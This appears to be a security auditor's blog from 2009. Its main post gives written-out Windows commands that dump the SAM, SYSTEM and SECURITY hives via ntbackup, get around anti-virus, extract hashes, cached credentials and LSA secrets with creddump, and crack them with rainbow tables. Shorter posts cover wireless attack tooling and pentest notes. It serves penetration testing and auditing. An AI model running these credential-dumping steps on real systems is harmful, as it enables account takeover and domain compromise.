Jun 102009
 

An auditor’s interest in the Windows NTBACKUP Utility extends beyond examining their DR/BCP plan.

Suppose you just got command prompt access to a server (example tutorial 1, 2, & 3) but the host has anti-virus installed and you can’t disable it. You can’t use your trusty pwdump2 to dump the local password hashes (the same utility that SQLAT and SQLNINJA use). No problem, just use the ntbackup utility to make a current backup of the registry (including SAM and SYSTEM keys).

C:\>ntbackup backup systemstate /j "Auditor Owns Your Hashes" /f "%systemroot%\temp\%Username%SysState.bkf" /a
C:\>del "c:%systemroot%\temp\%Username%SysState.bkf"

You don’t need the backup file you created so it can be deleted (C:\>del %systemroot%\temp\%Username%SysState.bkf). When a backup is done of the systemstate the files in the %systemroot%\repair folder are updated. Copy the sam, system, and security files from %systemroot%\repair.

Once those files are obtained you can use the command line utilities from the creddump project to produce the same files obtained form PWDumpX (see tuturial).

Python needs to be installed for creddump to work.

Python version 2.5.4 from http://www.python.org/download/releases/2.5.4/
Pycrypto version 2.0.1 from http://jintoreedwine.com/files_and_stuff/pycrypto-2-0-1.zip

C:\creddump-0.1>pwdump.py SYSTEM SAM >> PWHashes.txt
C:\creddump-0.1>lsadump.py SYSTEM SECURITY >> LSASecrets.txt
C:\creddump-0.1>cachedump.py SYSTEM SECURITY >> PWCache.txt

Using RainbowCrack and the rainbowtables obtained from The Schmoo Group you will be able to obtain the passwords to any local account with a password 14 characters or less from PWHashes.txt.

See this tuturial on how to dictionary attack the passwords obtained from the PWCache.txt file.

You can review the LSASecrets.txt file to obtain plain text passwords for Windows service accounts. Often these accounts are also Domain accounts with the same password or even Domain Administrator accounts.

Jun 042009
 

I have created an updated configuration document for my Motion Computing m1300 wireless tablet. This document details getting Ubuntu 8.04 LTS Hardy Heron up and running on the tablet. Included in the documentation are the steps to get Kismet, Aircrack-ng, and Karmasploit up and running. Those steps will be helpful no matter what hardware you install Ubuntu on.

I have also created an updated configuration document for the setup of my Linux laptop that I use for penetration testing.

Mar 062009
 

During an audit I had to determine whether a particular remote control service was installed on the Domain workstations and servers. It was determined during the interview process that no remote control software was in use.  I decided to obtain the evidence to the contrary.  I had already compromised a Domain Administrator account so I had the appropriate permissions.
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Mar 062009
 

CACLS.exe is a great builtin Windows utility that allows you to list the permissions on a file or folder.  This command has been used in an audit to get the permissions of the folders on an agency file server that served the “private” shares to each Domain user.  The findings we would be looking for when examining the results are improper access to the “private” shares by other Domain users.

For CACLS options and how to interpret the results see this site.
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Dec 022008
 

Core Technologies hosted a series of three webcasts called Penetration Testing Ninjitsu by Ed Skoudis (http://www.coresecurity.com/content/webcast-series-with-sans).  I highly recommend listening to these web casts and downloading the slides for your reference.  I’m including the commands extracted from the slides that can be very useful for a penetration test.
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